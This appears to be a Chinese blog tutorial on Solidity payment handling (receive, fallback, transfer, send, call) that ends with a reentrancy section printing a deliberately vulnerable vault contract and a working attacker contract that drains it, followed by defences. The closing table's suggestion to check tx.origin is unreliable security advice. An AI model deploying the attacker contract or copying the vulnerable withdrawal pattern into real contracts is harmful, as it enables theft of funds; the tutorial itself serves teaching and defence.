收款方式

🧾 1. 合约收款方式

payable修饰符

function funcName() public payable() {

}

🔹 receive() 函数

✅ 用途

当合约收到纯 ETH 转账(例如 address(this).transfer()address(this).send())且没有调用数据(data为空)时,会调用 receive() 函数。

语法

receive() external payable {     // 收款逻辑 }
  • external:只能被外部调用。

  • payable:允许接收 ETH。

  • 不能有参数,也不能返回值。

  • 每个合约只能有一个 receive() 函数

✅ 使用场景

contract MyContract {
    event Received(address sender, uint amount);

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }
}



🔹 fallback() 函数

✅ 用途

  • 当调用合约函数时,找不到对应函数签名

  • 或者调用时带有数据,但合约中没有 receive() 函数可调用

会触发 fallback() 函数。

✅ 语法(两种)

1. 允许收款:
fallback() external payable {     // fallback 收款逻辑 }
2. 不收款,仅响应错误调用:
fallback() external {     // fallback 非 payable,不能接收 ETH }

``

✅ 使用场景

contract MyContract {
    event FallbackCalled(address sender, uint amount, bytes data);

    fallback() external payable {
        emit FallbackCalled(msg.sender, msg.value, msg.data);
    }
}


📊 receive vs fallback 对比总结

特性 receive() fallback()
是否能接收 ETH 是(必须是 payable 可选(payable 或不写)
是否接收 data 否(data 必须为空) 是(data 非空或无函数匹配)
是否必须存在 否(可选) 否(可选)
常见触发条件 纯 ETH 转账,无数据 错误调用或带 data 转账

🧠 实战建议

  • 如果你只是想接收纯 ETH,可以只写 receive() payable

  • 如果你想对任何未知调用做处理(比如 proxy、日志记录),就用 fallback()

  • 如果两者都写了,Solidity 会优先调用 receive(),只在 data 不为空时才会调用 fallback()


📥 2. 查看合约收到的余额

address(this).balance
  • 返回当前合约地址的 ETH 余额(单位为 wei)

💸 3. 合约向外转账的三种方式

转给 外部账户、合约账户

✅ address.transfer

payable(msg.sender).transfer(1 ether);
  • 固定 2300 gas,失败自动 revert

✅ address.send

bool success = payable(msg.sender).send(1 ether);
require(success, "Send failed");
  • 同样只提供 2300 gas,但需要手动检查返回值

✅ call(推荐)

(bool success, ) = payable(msg.sender).call{value: 1 ether}("");
require(success, "Call failed");
  • 可调 gas,兼容新版本,官方推荐方式

🛡️ 4. 安全建议

  • 使用 call 替代 transfer / send,避免 Out of Gas 错误

  • 使用 ReentrancyGuard 防止重入攻击

  • 避免在 receive() 中执行复杂逻辑


🔐 5. 示例:收款和提款合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function withdraw() external {
        require(msg.sender == owner, "Not owner");
        (bool success, ) = payable(owner).call{value: address(this).balance}("");
        require(success, "Withdraw failed");
    }

    function getBalance() external view returns (uint) {
        return address(this).balance;
    }
}

⚠️ 6. 重入攻击(Reentrancy Attack)

🐞 什么是重入攻击?

当合约调用外部地址(如 call 转账)时,如果该地址是一个合约,它可以在未完成前一次调用前,反复调用回原合约的函数,造成重复提现等安全问题。

🎬 攻击演示:易受攻击的合约

// VulnerableVault.sol
contract VulnerableVault {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        require(balances[msg.sender] > 0, "No balance");

        // 发送 ETH(外部调用,容易被攻击者重入)
        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(success, "Transfer failed");

        // 更新余额(放在调用后,导致漏洞)
        balances[msg.sender] = 0;
    }
}


🧨 攻击者合约

// Attacker.sol
contract Attacker {
    VulnerableVault public target;

    constructor(address _target) {
        target = VulnerableVault(_target);
    }

    // 回调函数,趁机再次提取
    receive() external payable {
        if (address(target).balance > 1 ether) {
            target.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need 1 ETH");
        target.deposit{value: 1 ether}();
        target.withdraw();
    }
}

流程说明

  • 👤 用户向 VulnerableVault 合约 deposit() 存入 1 ETH

  • 🧑‍💻 攻击者调用 withdraw(),触发合约转账 call

  • 🧠 攻击者合约在 receive() 中再次调用 withdraw()

  • 🔁 因为合约尚未更新 balances,攻击者可多次提取

  • 🏴 合约余额被掏空,攻击成功


🛡️ 如何防止重入攻击?

✅ 使用“检查-效果-交互”模式:

function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0, "No balance");

    // 先更新状态
    balances[msg.sender] = 0;

    // 再转账(外部调用)
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

✅ 使用 ReentrancyGuard(OpenZeppelin 提供)

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureVault is ReentrancyGuard {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint amount = balances[msg.sender];
        require(amount > 0, "No balance");
        balances[msg.sender] = 0;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}


🎯 小结

防御措施 说明
状态更新在前 防止多次调用利用旧状态
使用 ReentrancyGuard 简洁防御,适合大多数场景
限制外部合约调用 检查 tx.origin 或设白名单

posted @ 2025-08-12 23:45  Lucas_coming  阅读(9)  评论(0)    收藏  举报